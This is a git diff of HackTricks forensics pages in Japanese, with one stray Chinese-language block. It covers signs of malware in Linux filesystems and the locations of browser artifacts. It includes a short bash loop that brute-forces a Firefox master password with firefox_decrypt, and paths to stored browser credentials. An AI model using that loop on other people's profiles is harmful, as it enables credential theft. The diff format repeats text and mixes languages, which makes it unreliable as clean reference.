* **Autopsy**などのツールを使用して**イベントタイムラインを視覚化**するか、**Sleuth Kit**の`mactime`を使用して詳細なタイムラインデータを取得することで、徹底的なタイムライン分析を実施します。
|
||||
* 攻撃者が使用する可能性のあるシェルやPHPスクリプトを含む、システムの$PATHにある**予期しないスクリプトを調査**します。
|
||||
* 通常は特殊ファイルを含むはずの**/dev**を**非典型的なファイル**を調べますが、マルウェア関連のファイルが格納されている可能性があります。
|
||||
* ".. "(ドットドットスペース)や"..^G"(ドットドットコントロール-G)などの名前の**隠しファイルやディレクトリ**を検索し、悪意のあるコンテンツを隠す可能性があります。
|
||||
* `find / -user root -perm -04000 -print`コマンドを使用して、**setuid rootファイル**を特定します。これにより、攻撃者に悪用される可能性のある権限の昇格ファイルを見つけることができます。
|
||||
* inodeテーブル内の**削除タイムスタンプ**を確認して、大量のファイル削除を検出し、rootkitやトロイの存在を示す可能性があります。
|
||||
* 1つを特定した後、隣接する悪意のあるファイルを見つけるために**連続したinode**を調査します。
|
||||
* **一般的なバイナリディレクトリ**(_/bin_、_/sbin_)に最近変更されたファイルがないかをチェックします。これらはマルウェアによって変更されている可能性があります。
|
||||
## 检查文件系统
|
||||
|
||||
### 在恶意软件调查中分析文件系统结构
|
||||
|
||||
在调查恶意软件事件时,文件系统的结构是信息的重要来源,可以揭示事件序列和恶意软件的内容。然而,恶意软件作者正在开发技术来阻碍这种分析,例如修改文件时间戳或避免使用文件系统进行数据存储。
|
||||
|
||||
为了对抗这些反取证方法,重要的是:
|
||||
|
||||
* 使用像**Autopsy**这样的工具进行**彻底的时间线分析**,用于可视化事件时间线,或者使用**Sleuth Kit**的`mactime`获取详细的时间线数据。
|
||||
* **调查系统的$PATH中的意外脚本**,这些脚本可能包括攻击者使用的shell或PHP脚本。
|
||||
* **检查`/dev`中的非典型文件**,因为它传统上包含特殊文件,但可能包含与恶意软件相关的文件。
|
||||
* **搜索隐藏文件或目录**,名称类似于".. "(点 点 空格)或"..^G"(点 点 控制-G),这可能隐藏恶意内容。
|
||||
* 使用命令:`find / -user root -perm -04000 -print`来**识别setuid root文件**。这会找到具有提升权限的文件,可能会被攻击者滥用。
|
||||
* **检查inode表中的删除时间戳**,以发现大量文件删除,可能表明存在rootkit或特洛伊木马。
|
||||
* **检查相邻的inode**,查找一个后面的恶意文件,因为它们可能被放在一起。
|
||||
* **检查常见的二进制目录**(_/bin_、_/sbin_)中最近修改的文件,因为这些文件可能被恶意软件修改。
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
|
@ -365,20 +375,20 @@ ls -laR --sort=time /bin```
|
|||
ls -lai /bin | sort -n```
|
||||
````
|
||||
{% hint style="info" %}
|
||||
**攻撃者**は**時間を変更**して**ファイルを正規**に見せることができますが、**inode**を変更することはできません。同じフォルダ内の他のファイルと同じ**時間に作成および変更**されたことを示す**ファイル**を見つけた場合、**inode**が**予期しないほど大きい**場合、そのファイルの**タイムスタンプが変更された**ことになります。
|
||||
**攻撃者** は **時間を変更** して **ファイルを正規** に見せかけることができますが、**inode** を変更することはできません。同じフォルダ内の他のファイルと同じ **時間に作成および変更** されたことを示す **ファイル** を見つけた場合、しかし **inode** が **予期しないほど大きい** 場合、その **ファイルのタイムスタンプが変更された** ことになります。
|
||||
{% endhint %}
|
||||
|
||||
## 異なるファイルシステムバージョンのファイルを比較
|
||||
|
||||
### ファイルシステムバージョン比較の要約
|
||||
|
||||
ファイルシステムバージョンを比較し変更点を特定するために、簡略化された`git diff`コマンドを使用します:
|
||||
ファイルシステムバージョンを比較し変更点を特定するために、簡略化された `git diff` コマンドを使用します:
|
||||
|
||||
* **新しいファイルを見つける**には、2つのディレクトリを比較します:
|
||||
* **新しいファイルを見つける** には、2つのディレクトリを比較します:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
* **変更されたコンテンツ**について、特定の行を無視して変更点をリストアップします:
|
||||
* **変更されたコンテンツ**については、特定の行を無視して変更点をリストアップします。
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
|
@ -406,19 +416,19 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
**サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
**サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手します
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローします 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを入手します
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
||||
**ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
**ハッキングトリックを共有するには、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
|
|
@ -2,39 +2,39 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
- ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによってパワードされた**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## ブラウザのアーティファクト <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
ブラウザのアーティファクトには、ナビゲーション履歴、ブックマーク、キャッシュデータなど、Webブラウザによって保存されるさまざまな種類のデータが含まれます。これらのアーティファクトは、オペレーティングシステム内の特定のフォルダに保管されており、ブラウザごとに場所と名前が異なりますが、一般的には類似したデータ型を保存しています。
|
||||
ブラウザのアーティファクトには、ナビゲーション履歴、ブックマーク、キャッシュデータなど、Webブラウザによって保存されるさまざまな種類のデータが含まれます。これらのアーティファクトは、一般的に類似したデータ型を保存しつつも、ブラウザごとに異なる場所と名前でオペレーティングシステム内の特定のフォルダに保持されます。
|
||||
|
||||
以下は、最も一般的なブラウザのアーティファクトの要約です:
|
||||
|
||||
- **ナビゲーション履歴**:ユーザーがWebサイトを訪れた履歴で、悪意のあるサイトへの訪問を特定するのに役立ちます。
|
||||
- **オートコンプリートデータ**:頻繁な検索に基づいた提案で、ナビゲーション履歴と組み合わせると洞察を提供します。
|
||||
- **ブックマーク**:ユーザーが保存したサイトで、迅速にアクセスできます。
|
||||
- **ブックマーク**:ユーザーが保存したサイトで、迅速なアクセスのためです。
|
||||
- **拡張機能とアドオン**:ユーザーがインストールしたブラウザの拡張機能やアドオン。
|
||||
- **キャッシュ**:Webコンテンツ(画像、JavaScriptファイルなど)を保存してWebサイトの読み込み時間を短縮するためのもので、法的解析に貴重です。
|
||||
- **キャッシュ**:Webコンテンツ(画像、JavaScriptファイルなど)を保存してWebサイトの読み込み時間を短縮するための貴重なデータ。
|
||||
- **ログイン情報**:保存されたログイン資格情報。
|
||||
- **Favicons**:Webサイトに関連付けられたアイコンで、タブやブックマークに表示され、ユーザーの訪問に関する追加情報に役立ちます。
|
||||
- **Favicons**:タブやブックマークに表示されるWebサイトに関連付けられたアイコンで、ユーザーの訪問に関する追加情報に役立ちます。
|
||||
- **ブラウザセッション**:オープンされたブラウザセッションに関連するデータ。
|
||||
- **ダウンロード**:ブラウザを介してダウンロードされたファイルの記録。
|
||||
- **フォームデータ**:Webフォームに入力された情報で、将来の自動入力提案のために保存されます。
|
||||
|
@ -49,7 +49,7 @@ Firefoxは、プロファイル内のユーザーデータをオペレーティ
|
|||
- **MacOS**:`/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
- **Windows**:`%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
これらのディレクトリ内には、`profiles.ini`というファイルがユーザープロファイルのリストを示しています。各プロファイルのデータは、`profiles.ini`と同じディレクトリにある`profiles.ini`内の`Path`変数で名前が付けられたフォルダに保存されます。プロファイルのフォルダが見つからない場合は、削除されている可能性があります。
|
||||
これらのディレクトリ内にある`profiles.ini`ファイルには、ユーザープロファイルがリストされています。各プロファイルのデータは、`profiles.ini`と同じディレクトリにある`profiles.ini`内の`Path`変数で名前が付けられたフォルダに保存されます。プロファイルのフォルダが見つからない場合は、削除されている可能性があります。
|
||||
|
||||
各プロファイルフォルダ内には、いくつかの重要なファイルがあります:
|
||||
|
||||
|
@ -61,15 +61,15 @@ Firefoxは、プロファイル内のユーザーデータをオペレーティ
|
|||
- **persdict.dat**:カスタム辞書の単語。
|
||||
- **addons.json**および**extensions.sqlite**:インストールされたアドオンと拡張機能に関する情報。
|
||||
- **cookies.sqlite**:Cookieの保存先で、Windows上で[MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)を使用して検査できます。
|
||||
- **cache2/entries**または**startupCache**:キャッシュデータで、[MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)などのツールを使用してアクセスできます。
|
||||
- **favicons.sqlite**:faviconsを保存します。
|
||||
- **cache2/entries**または**startupCache**:キャッシュデータで、[MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)などのツールを介してアクセスできます。
|
||||
- **favicons.sqlite**:Faviconsを保存します。
|
||||
- **prefs.js**:ユーザー設定と環境設定。
|
||||
- **downloads.sqlite**:古いダウンロードデータベースで、現在はplaces.sqliteに統合されています。
|
||||
- **thumbnails**:Webサイトのサムネイル。
|
||||
- **logins.json**:暗号化されたログイン情報。
|
||||
- **key4.db**または**key3.db**:機密情報を保護するための暗号化キーを保存します。
|
||||
|
||||
さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js`内で`browser.safebrowsing`エントリを検索して、安全なブラウジング機能が有効になっているか無効になっているかを確認できます。
|
||||
さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js`内で`browser.safebrowsing`エントリを検索して、セーフブラウジング機能が有効か無効かを確認できます。
|
||||
|
||||
マスターパスワードを復号化しようとする場合は、[https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)を使用できます。\
|
||||
次のスクリプトと呼び出しを使用して、ブルートフォースするパスワードファイルを指定できます:
|
||||
|
@ -85,6 +85,10 @@ echo "Trying $pass"
|
|||
echo "$pass" | python firefox_decrypt.py
|
||||
done < $passfile
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
![](<../../../.gitbook/assets/image (417).png>)
|
||||
|
||||
## Google Chrome
|
||||
|
||||
Google Chromeは、オペレーティングシステムに基づいて特定の場所にユーザープロファイルを保存します:
|
||||
|
@ -93,21 +97,21 @@ Google Chromeは、オペレーティングシステムに基づいて特定の
|
|||
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||
|
||||
これらのディレクトリ内で、ほとんどのユーザーデータは **Default/** や **ChromeDefaultData/** フォルダにあります。重要なデータを保持する以下のファイルがあります:
|
||||
これらのディレクトリ内で、ほとんどのユーザーデータは **Default/** または **ChromeDefaultData/** フォルダにあります。重要なデータを保持する以下のファイルがあります:
|
||||
|
||||
- **History**: URL、ダウンロード、検索キーワードを含む。Windowsでは、[ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html)を使用して履歴を読むことができます。"Transition Type"列には、リンクのクリック、入力されたURL、フォームの送信、ページの再読み込みなど、さまざまな意味があります。
|
||||
- **Cookies**: クッキーを保存します。検査には、[ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html)が利用できます。
|
||||
- **Cache**: キャッシュされたデータを保持します。検査するために、Windowsユーザーは[ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html)を利用できます。
|
||||
- **History**: URL、ダウンロード、検索キーワードを含む。Windowsでは、[ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) を使用して履歴を読むことができます。"Transition Type" 列には、リンクのクリック、入力されたURL、フォームの送信、ページの再読み込みなど、さまざまな意味があります。
|
||||
- **Cookies**: Cookieを保存。検査には、[ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) が利用できます。
|
||||
- **Cache**: キャッシュされたデータを保持。検査するために、Windowsユーザーは[ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) を利用できます。
|
||||
- **Bookmarks**: ユーザーのブックマーク。
|
||||
- **Web Data**: フォーム履歴を含む。
|
||||
- **Favicons**: ウェブサイトのファビコンを保存します。
|
||||
- **Login Data**: ユーザー名やパスワードなどのログイン資格情報を含みます。
|
||||
- **Favicons**: ウェブサイトのファビコンを保存。
|
||||
- **Login Data**: ユーザー名やパスワードなどのログイン資格情報を含む。
|
||||
- **Current Session**/**Current Tabs**: 現在のブラウジングセッションとオープンされているタブに関するデータ。
|
||||
- **Last Session**/**Last Tabs**: Chromeが閉じられる前の最後のセッション中にアクティブだったサイトに関する情報。
|
||||
- **Extensions**: ブラウザの拡張機能やアドオンのためのディレクトリ。
|
||||
- **Thumbnails**: ウェブサイトのサムネイルを保存します。
|
||||
- **Thumbnails**: ウェブサイトのサムネイルを保存。
|
||||
- **Preferences**: プラグイン、拡張機能、ポップアップ、通知などの設定を含む情報が豊富なファイル。
|
||||
- **ブラウザの組み込みのフィッシング対策**: フィッシング対策やマルウェア保護が有効になっているかどうかを確認するには、`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`を実行します。出力で `{"enabled: true,"}` を探します。
|
||||
- **ブラウザの組み込みのフィッシング対策**: フィッシング対策やマルウェア保護が有効になっているかどうかを確認するには、`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` を実行します。出力で `{"enabled: true,"}` を探します。
|
||||
|
||||
## **SQLite DBデータの回復**
|
||||
|
||||
|
@ -115,27 +119,27 @@ Google Chromeは、オペレーティングシステムに基づいて特定の
|
|||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorer 11は、異なる場所にデータとメタデータを管理しており、格納された情報とそれに対応する詳細を簡単にアクセスおよび管理するのに役立ちます。
|
||||
Internet Explorer 11 は、格納された情報とそれに対応する詳細を簡単にアクセスおよび管理するために、さまざまな場所にデータとメタデータを管理しています。
|
||||
|
||||
### メタデータの保存
|
||||
|
||||
Internet Explorerのメタデータは `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`(VXはV01、V16、またはV24)に保存されます。これに加えて、`V01.log`ファイルは `WebcacheVX.data` との修正時間の不一致を示す場合があり、`esentutl /r V01 /d` を使用して修復が必要となります。このESEデータベースに格納されたメタデータは、photorec や [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) などのツールを使用して回復および検査することができます。**Containers** テーブル内では、各データセグメントが格納されている特定のテーブルやコンテナを識別することができ、Skypeなどの他のMicrosoftツールのキャッシュの詳細も含まれます。
|
||||
Internet Explorerのメタデータは `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`(VX は V01、V16、または V24)に保存されます。これに加えて、`V01.log` ファイルは `WebcacheVX.data` との修正時間の不一致を示す場合があり、`esentutl /r V01 /d` を使用して修復が必要となります。このメタデータは ESEデータベースに格納されており、photorec や [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) などのツールを使用して回復および検査が可能です。**Containers** テーブル内では、各データセグメントが格納されている特定のテーブルやコンテナが識別でき、Skypeなどの他のMicrosoftツールのキャッシュの詳細も含まれます。
|
||||
|
||||
### キャッシュの検査
|
||||
|
||||
[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) ツールを使用すると、キャッシュデータの抽出フォルダの場所が必要となり、キャッシュのメタデータにはファイル名、ディレクトリ、アクセス回数、URLの起源、キャッシュの作成、アクセス、修正、有効期限の時間が示されます。
|
||||
[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) ツールを使用すると、キャッシュデータの抽出フォルダの場所が必要となり、キャッシュに関するメタデータにはファイル名、ディレクトリ、アクセス回数、URLの起源、キャッシュの作成、アクセス、修正、有効期限の時間が示されます。
|
||||
|
||||
### クッキーの管理
|
||||
### Cookieの管理
|
||||
|
||||
クッキーは [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) を使用して調査することができ、メタデータには名前、URL、アクセス回数、さまざまな時間関連の詳細が含まれます。永続的なクッキーは `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` に保存され、セッションクッキーはメモリに保存されます。
|
||||
Cookieは[IECookiesView](https://www.nirsoft.net/utils/iecookies.html) を使用して調査でき、メタデータには名前、URL、アクセス回数、さまざまな時間に関する詳細が含まれます。永続的なCookieは `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` に保存され、セッションCookieはメモリに保存されます。
|
||||
|
||||
### ダウンロードの詳細
|
||||
|
||||
ダウンロードのメタデータは [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) を介してアクセスでき、特定のコンテナにはURL、ファイルタイプ、ダウンロード場所などのデータが保持されます。物理ファイルは `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` にあります。
|
||||
ダウンロードのメタデータは [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) を使用してアクセスでき、特定のコンテナにはURL、ファイルタイプ、ダウンロード場所などのデータが格納されます。物理ファイルは `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` にあります。
|
||||
|
||||
### 閲覧履歴
|
||||
|
||||
閲覧履歴を確認するには、[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) を使用し、抽出された履歴ファイルの場所とInternet Explorerの構成が必要です。ここでのメタデータには、修正時間、アクセス回数などが含まれます。履歴ファイルは `%userprofile%\Appdata\Local\Microsoft\Windows\History` にあります。
|
||||
閲覧履歴を確認するには、[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) を使用し、抽出された履歴ファイルの場所とInternet Explorerの構成が必要です。ここでのメタデータには、修正時間、アクセス回数などが含まれます。履歴ファイルは `%userprofile%\Appdata\Local\Microsoft\Windows\History` にあります。
|
||||
|
||||
### 入力されたURL
|
||||
|
||||
|
@ -146,7 +150,7 @@ Internet Explorerのメタデータは `%userprofile%\Appdata\Local\Microsoft\Wi
|
|||
Microsoft Edgeは、ユーザーデータを `%userprofile%\Appdata\Local\Packages` に保存します。さまざまなデータタイプのパスは次のとおりです:
|
||||
|
||||
- **プロファイルパス**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
- **履歴、クッキー、ダウンロード**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
- **履歴、Cookie、ダウンロード**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
- **設定、ブックマーク、読書リスト**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
- **キャッシュ**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||
- **最後のアクティブセッション**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||
|
@ -155,24 +159,45 @@ Microsoft Edgeは、ユーザーデータを `%userprofile%\Appdata\Local\Packag
|
|||
|
||||
Safariのデータは `/Users/$User/Library/Safari` に保存されます。主要なファイルは次のとおりです:
|
||||
|
||||
- **History.db**: URLと訪問タイムスタンプを含む `history_visits` および `history_items` テーブルが含まれています。クエリを実行するには `sqlite3` を使用します。
|
||||
- **History.db**: URLと訪問時刻を含む `history_visits` および `history_items` テーブルが含まれています。クエリを実行するには `sqlite3` を使用します。
|
||||
- **Downloads.plist**: ダウンロードしたファイルに関する情報。
|
||||
- **Bookmarks.plist**: ブックマークされたURLを保存します。
|
||||
- **TopSites.plist**: 最も頻繁に訪れたサイト。
|
||||
- **TopSites.plist**: 最も頻繁に訪れるサイト。
|
||||
- **Extensions.plist**: Safariブラウザの拡張機能のリスト。取得するには `plutil` または `pluginkit` を使用します。
|
||||
- **UserNotificationPermissions.plist**: 通知をプッシュすることが許可されたドメイン。解析するには `plutil` を使用します。
|
||||
- **LastSession.plist**: 最後のセッションからのタブ。解析するには `plutil` を使用します。
|
||||
- **ブラウザの組み込みのフィッシング対策**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` を使用して確認します。1が返されると、その機能が有効になっていることを示します。
|
||||
- **ブラウザの組み込みのフィッシング対策**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` を使用して確認します。応答が1の場合、機能が有効になっています。
|
||||
|
||||
## Opera
|
||||
|
||||
Operaのデータは `/Users/$USER/Library/Application Support/com.operasoftware.Opera` にあり、履歴やダウンロードに関してはChromeと同じ形式を共有しています。
|
||||
Operaのデータは `/Users/$USER/Library/Application Support/com.operasoftware.Opera` に保存され、履歴とダウンロードに関してはChromeと同じ形式を共有しています。
|
||||
|
||||
- **ブラウザの組み込みのフィッシング対策**: `fraud_protection_enabled` が `true` に設定されているかどうかを確認するには、`grep` を使用してください。
|
||||
- **ブラウザの組み込みのフィッシング対策**: `fraud_protection_enabled` が `true` に設定されているかどうかを確認するには、`grep` を使用して `Preferences` ファイル内で確認します。
|
||||
|
||||
これらのパスとコマンドは、異なるウェブブラウザによって保存されるブラウジングデータにアクセスして理解するために重要です。
|
||||
* **HackTricks** に掲載されたい場合や **HackTricks の PDF をダウンロード** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションをご覧ください
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローしてください**
|
||||
* **ハッキングテクニックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出してください**.
|
||||
これらのパスとコマンドは、異なるWebブラウザによって保存されるブラウジングデータにアクセスして理解するために重要です。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
||||
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
||||
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
|
||||
- **書籍: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** できます。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
* もし**HackTricks**であなたの**企業が宣伝されるのを見たい**か、**PDF形式のHackTricksをダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
